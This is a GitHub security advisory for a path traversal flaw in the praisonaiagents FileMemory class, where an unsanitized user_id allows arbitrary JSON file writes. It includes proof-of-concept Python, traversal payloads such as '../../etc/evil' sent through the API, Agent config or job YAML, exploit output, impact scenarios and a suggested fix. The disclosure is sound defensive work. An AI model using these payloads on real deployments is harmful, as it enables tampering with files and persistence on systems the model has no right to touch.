GHSA-GXMW-5F7X-6G22
Vulnerability from github – Published: 2026-08-25 15:09 – Updated: 2026-08-25 15:09Summary
praisonaiagents/memory/file_memory.py::FileMemory.__init__() constructs all
memory file paths by directly joining the user_id parameter to a base path:
self.user_path = self.base_path / user_id # LINE 145 — no sanitization
No validation or normalization is applied to user_id before the path join.
An attacker who can supply a user_id containing ../ sequences can write
arbitrary JSON files (memory content) to any writable location on the filesystem.
The vulnerability is confirmed live on the current main branch
(praisonaiagents==1.6.52) and is distinct from GHSA-766v-q9x3-g744
(which covered MultiAgentMonitor in an example file, not FileMemory in the
core library).
Details
Vulnerable code — praisonaiagents/memory/file_memory.py lines 139-157:
def __init__(
self,
user_id: str = "default",
base_path: Optional[str] = None,
...
):
...
self.user_path = self.base_path / user_id # LINE 145 — NO SANITIZATION
self.episodic_path = self.user_path / "episodic"
self.user_path.mkdir(parents=True, exist_ok=True) # creates dirs at traversed path
self.episodic_path.mkdir(parents=True, exist_ok=True)
self.config_file = self.user_path / "config.json"
self.short_term_file = self.user_path / "short_term.json"
self.long_term_file = self.user_path / "long_term.json"
self.entities_file = self.user_path / "entities.json"
self.summaries_file = self.user_path / "summaries.json"
All five JSON files are written under user_path, which is directly derived from
the attacker-controlled user_id. The written content is valid JSON in the memory
item format (configurable user content + metadata).
Comparison with the patched reference — praisonaiagents/storage/backends.py
(SQLiteBackend):
The sibling SQLiteBackend validates its table_name with a regex:
if not re.match(r'^[a-zA-Z0-9_]+$', table_name):
raise ValueError(...)
No equivalent validation exists in FileMemory.
Attack chains:
A — Direct Python API (any caller):
from praisonaiagents.memory.file_memory import FileMemory
mem = FileMemory(user_id="../../etc/evil")
mem.add_short_term("injected content")
# Creates /etc/evil/short_term.json (on Linux)
# Creates C:\evil\short_term.json (on Windows)
B — Via Agent constructor (memory dict):
from praisonaiagents import Agent
agent = Agent(
name="assistant",
memory={"provider": "file", "user_id": "../../etc/evil"},
instructions="You are a helpful assistant.",
)
# FileMemory(user_id="../../etc/evil") called at agent init
C — Via agents.yaml / job submission (agent_yaml field):
# Submitted via POST /jobs with agent_yaml:
agents:
researcher:
memory:
provider: file
user_id: "../../tmp/evil"
role: "Research assistant"
goal: "Research topics"
agents_generator.py passes the memory.user_id value to the Agent constructor.
PoC
Environment: Python 3.9+, praisonaiagents <= 1.6.52
Step 1 — Verify path escapes base (no dependencies needed):
from pathlib import Path
import tempfile
base = Path(tempfile.gettempdir()) / "praisonai" / "memory"
user_id = "../../../tmp/evil_escape"
user_path = base / user_id
try:
user_path.resolve().relative_to(base.resolve())
print("SAFE")
except ValueError:
print("!!PATH ESCAPES BASE!!")
print("Writes to:", user_path.resolve())
Output:
!!PATH ESCAPES BASE!!
Writes to: <TMPDIR>/tmp/evil_escape
Step 2 — Live exploit (files written outside base):
import tempfile, json
from pathlib import Path
from praisonaiagents.memory.file_memory import FileMemory
BASE = Path(tempfile.gettempdir()) / "praisonai_base" / "memory"
BASE.mkdir(parents=True, exist_ok=True)
TARGET = (BASE / "../../praisonai_path_traversal_proof").resolve()
mem = FileMemory(user_id="../../praisonai_path_traversal_proof", base_path=str(BASE))
mem.add_short_term("PROOF_OF_TRAVERSAL: attacker wrote this")
mem.add_long_term("SENSITIVE_DATA", importance=0.9)
# Verify files appeared OUTSIDE the base directory
for fname in ["short_term.json", "long_term.json", "config.json"]:
f = TARGET / fname
if f.exists():
print(f"WRITTEN: {f}")
print(f"Content: {json.loads(f.read_text())[0]['content'] if fname != 'config.json' else '...'}")
Observed output (run on current main):
WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/short_term.json
Content: PROOF_OF_TRAVERSAL: attacker wrote this
WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/long_term.json
Content: SENSITIVE_DATA
WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/config.json
Impact
What kind of vulnerability: Arbitrary file write via path traversal. Any JSON content can be written to any filesystem path writable by the process.
Who is impacted:
- Any application that creates
FileMemoryinstances with user-controlleduser_id - Any PraisonAI deployment where users can supply the
user_idparameter directly or indirectly (viaAgent(memory={"user_id": ...}), agents.yaml, or jobs API)
High-impact scenarios:
-
Overwrite Python package files: On systems where Python packages are stored in a world-writable or user-writable path, JSON files can be written over package files, causing import failures or (in edge cases) execution if a JSON parser is swapped for a Python parser.
-
Overwrite web server / app config: Write
config.jsonorsettings.jsonto an app's configuration directory, potentially modifying runtime behavior. -
Cron / startup persistence: Write JSON files to
/etc/cron.d/paths (Linux) or%APPDATA%\Startup\(Windows) directories that might be interpreted by monitoring systems. -
Denial of Service: Write large JSON memory files into system directories, filling disk space or overwriting critical config files.
-
Multi-tenant deployments: In a multi-tenant PraisonAI deployment where users can create agents with custom memory configs, one user can read/overwrite another user's memory files by traversing to their path.
Distinction from GHSA-766v-q9x3-g744:
| GHSA-766v-q9x3-g744 | This finding | |
|---|---|---|
| File | examples/context/12_multi_agent_context.py (example) |
praisonaiagents/memory/file_memory.py (core library) |
| Class | MultiAgentMonitor |
FileMemory |
| Fixed in | praisonaiagents >= 1.5.115 |
Not patched (affects 1.6.52) |
---
## Remediation Suggestion (for maintainers)
Validate and resolve `user_id` before using it in path construction:
```python
def __init__(self, user_id: str = "default", base_path=None, ...):
...
# ADDED: sanitize user_id
import re
if not re.match(r'^[a-zA-Z0-9_\-\.]+$', user_id):
raise ValueError(
f"user_id '{user_id}' contains invalid characters. "
f"Only alphanumeric characters, hyphens, underscores, and dots are allowed."
)
self.user_path = self.base_path / user_id
# ADDED: verify the resolved path is within base (defense-in-depth)
resolved = self.user_path.resolve()
base_resolved = self.base_path.resolve()
try:
resolved.relative_to(base_resolved)
except ValueError:
raise ValueError(
f"user_id '{user_id}' would write outside the base memory directory."
)
The same pattern should be applied to base_path parameter.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "praisonaiagents"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.58"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55527"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-25T15:09:54Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n`praisonaiagents/memory/file_memory.py::FileMemory.__init__()` constructs all\nmemory file paths by directly joining the `user_id` parameter to a base path:\n\n```python\nself.user_path = self.base_path / user_id # LINE 145 \u2014 no sanitization\n```\n\nNo validation or normalization is applied to `user_id` before the path join.\nAn attacker who can supply a `user_id` containing `../` sequences can write\narbitrary JSON files (memory content) to **any writable location on the filesystem**.\n\nThe vulnerability is confirmed **live on the current `main` branch**\n(`praisonaiagents==1.6.52`) and is **distinct from GHSA-766v-q9x3-g744**\n(which covered `MultiAgentMonitor` in an example file, not `FileMemory` in the\ncore library).\n\n### Details\n\n**Vulnerable code \u2014 `praisonaiagents/memory/file_memory.py` lines 139-157:**\n\n```python\ndef __init__(\n self,\n user_id: str = \"default\",\n base_path: Optional[str] = None,\n ...\n):\n ...\n self.user_path = self.base_path / user_id # LINE 145 \u2014 NO SANITIZATION\n self.episodic_path = self.user_path / \"episodic\"\n\n self.user_path.mkdir(parents=True, exist_ok=True) # creates dirs at traversed path\n self.episodic_path.mkdir(parents=True, exist_ok=True)\n\n self.config_file = self.user_path / \"config.json\"\n self.short_term_file = self.user_path / \"short_term.json\"\n self.long_term_file = self.user_path / \"long_term.json\"\n self.entities_file = self.user_path / \"entities.json\"\n self.summaries_file = self.user_path / \"summaries.json\"\n```\n\nAll five JSON files are written under `user_path`, which is directly derived from\nthe attacker-controlled `user_id`. The written content is valid JSON in the memory\nitem format (configurable user content + metadata).\n\n**Comparison with the patched reference \u2014 `praisonaiagents/storage/backends.py`\n(SQLiteBackend):**\n\nThe sibling `SQLiteBackend` validates its `table_name` with a regex:\n```python\nif not re.match(r\u0027^[a-zA-Z0-9_]+$\u0027, table_name):\n raise ValueError(...)\n```\nNo equivalent validation exists in `FileMemory`.\n\n**Attack chains:**\n\n*A \u2014 Direct Python API (any caller):*\n```python\nfrom praisonaiagents.memory.file_memory import FileMemory\n\nmem = FileMemory(user_id=\"../../etc/evil\")\nmem.add_short_term(\"injected content\")\n# Creates /etc/evil/short_term.json (on Linux)\n# Creates C:\\evil\\short_term.json (on Windows)\n```\n\n*B \u2014 Via `Agent` constructor (memory dict):*\n```python\nfrom praisonaiagents import Agent\n\nagent = Agent(\n name=\"assistant\",\n memory={\"provider\": \"file\", \"user_id\": \"../../etc/evil\"},\n instructions=\"You are a helpful assistant.\",\n)\n# FileMemory(user_id=\"../../etc/evil\") called at agent init\n```\n\n*C \u2014 Via agents.yaml / job submission (`agent_yaml` field):*\n```yaml\n# Submitted via POST /jobs with agent_yaml:\nagents:\n researcher:\n memory:\n provider: file\n user_id: \"../../tmp/evil\"\n role: \"Research assistant\"\n goal: \"Research topics\"\n```\n`agents_generator.py` passes the `memory.user_id` value to the `Agent` constructor.\n\n### PoC\n\n**Environment:** Python 3.9+, `praisonaiagents \u003c= 1.6.52`\n\n**Step 1 \u2014 Verify path escapes base (no dependencies needed):**\n\n```python\nfrom pathlib import Path\nimport tempfile\n\nbase = Path(tempfile.gettempdir()) / \"praisonai\" / \"memory\"\nuser_id = \"../../../tmp/evil_escape\"\nuser_path = base / user_id\n\ntry:\n user_path.resolve().relative_to(base.resolve())\n print(\"SAFE\")\nexcept ValueError:\n print(\"!!PATH ESCAPES BASE!!\")\n print(\"Writes to:\", user_path.resolve())\n```\n\nOutput:\n```\n!!PATH ESCAPES BASE!!\nWrites to: \u003cTMPDIR\u003e/tmp/evil_escape\n```\n\n**Step 2 \u2014 Live exploit (files written outside base):**\n\n```python\nimport tempfile, json\nfrom pathlib import Path\nfrom praisonaiagents.memory.file_memory import FileMemory\n\nBASE = Path(tempfile.gettempdir()) / \"praisonai_base\" / \"memory\"\nBASE.mkdir(parents=True, exist_ok=True)\n\nTARGET = (BASE / \"../../praisonai_path_traversal_proof\").resolve()\n\nmem = FileMemory(user_id=\"../../praisonai_path_traversal_proof\", base_path=str(BASE))\nmem.add_short_term(\"PROOF_OF_TRAVERSAL: attacker wrote this\")\nmem.add_long_term(\"SENSITIVE_DATA\", importance=0.9)\n\n# Verify files appeared OUTSIDE the base directory\nfor fname in [\"short_term.json\", \"long_term.json\", \"config.json\"]:\n f = TARGET / fname\n if f.exists():\n print(f\"WRITTEN: {f}\")\n print(f\"Content: {json.loads(f.read_text())[0][\u0027content\u0027] if fname != \u0027config.json\u0027 else \u0027...\u0027}\")\n```\n\n**Observed output (run on current `main`):**\n```\nWRITTEN: \u003cTMPDIR\u003e/praisonai_path_traversal_proof/short_term.json\nContent: PROOF_OF_TRAVERSAL: attacker wrote this\nWRITTEN: \u003cTMPDIR\u003e/praisonai_path_traversal_proof/long_term.json\nContent: SENSITIVE_DATA\nWRITTEN: \u003cTMPDIR\u003e/praisonai_path_traversal_proof/config.json\n```\n\n### Impact\n\n**What kind of vulnerability:** Arbitrary file write via path traversal.\nAny JSON content can be written to any filesystem path writable by the process.\n\n**Who is impacted:**\n\n- Any application that creates `FileMemory` instances with user-controlled `user_id`\n- Any PraisonAI deployment where users can supply the `user_id` parameter directly\n or indirectly (via `Agent(memory={\"user_id\": ...})`, agents.yaml, or jobs API)\n\n**High-impact scenarios:**\n\n1. **Overwrite Python package files**: On systems where Python packages are stored\n in a world-writable or user-writable path, JSON files can be written over package\n files, causing import failures or (in edge cases) execution if a JSON parser is\n swapped for a Python parser.\n\n2. **Overwrite web server / app config**: Write `config.json` or `settings.json`\n to an app\u0027s configuration directory, potentially modifying runtime behavior.\n\n3. **Cron / startup persistence**: Write JSON files to `/etc/cron.d/` paths\n (Linux) or `%APPDATA%\\Startup\\` (Windows) directories that might be interpreted\n by monitoring systems.\n\n4. **Denial of Service**: Write large JSON memory files into system directories,\n filling disk space or overwriting critical config files.\n\n5. **Multi-tenant deployments**: In a multi-tenant PraisonAI deployment where\n users can create agents with custom memory configs, one user can read/overwrite\n another user\u0027s memory files by traversing to their path.\n\n**Distinction from GHSA-766v-q9x3-g744:**\n\n| | GHSA-766v-q9x3-g744 | This finding |\n|---|---|---|\n| File | `examples/context/12_multi_agent_context.py` (example) | `praisonaiagents/memory/file_memory.py` (core library) |\n| Class | `MultiAgentMonitor` | `FileMemory` |\n| Fixed in | `praisonaiagents \u003e= 1.5.115` | **Not patched** (affects 1.6.52) |\n```\n\n---\n\n## Remediation Suggestion (for maintainers)\n\nValidate and resolve `user_id` before using it in path construction:\n\n```python\ndef __init__(self, user_id: str = \"default\", base_path=None, ...):\n ...\n # ADDED: sanitize user_id\n import re\n if not re.match(r\u0027^[a-zA-Z0-9_\\-\\.]+$\u0027, user_id):\n raise ValueError(\n f\"user_id \u0027{user_id}\u0027 contains invalid characters. \"\n f\"Only alphanumeric characters, hyphens, underscores, and dots are allowed.\"\n )\n\n self.user_path = self.base_path / user_id\n\n # ADDED: verify the resolved path is within base (defense-in-depth)\n resolved = self.user_path.resolve()\n base_resolved = self.base_path.resolve()\n try:\n resolved.relative_to(base_resolved)\n except ValueError:\n raise ValueError(\n f\"user_id \u0027{user_id}\u0027 would write outside the base memory directory.\"\n )\n```\n\nThe same pattern should be applied to `base_path` parameter.",
"id": "GHSA-gxmw-5f7x-6g22",
"modified": "2026-08-25T15:09:55Z",
"published": "2026-08-25T15:09:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gxmw-5f7x-6g22"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "praisonaiagents vulnerable to arbitrary file write via unsanitized `user_id` in `FileMemory.__init__()` \u2014 path traversal to any writable location"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.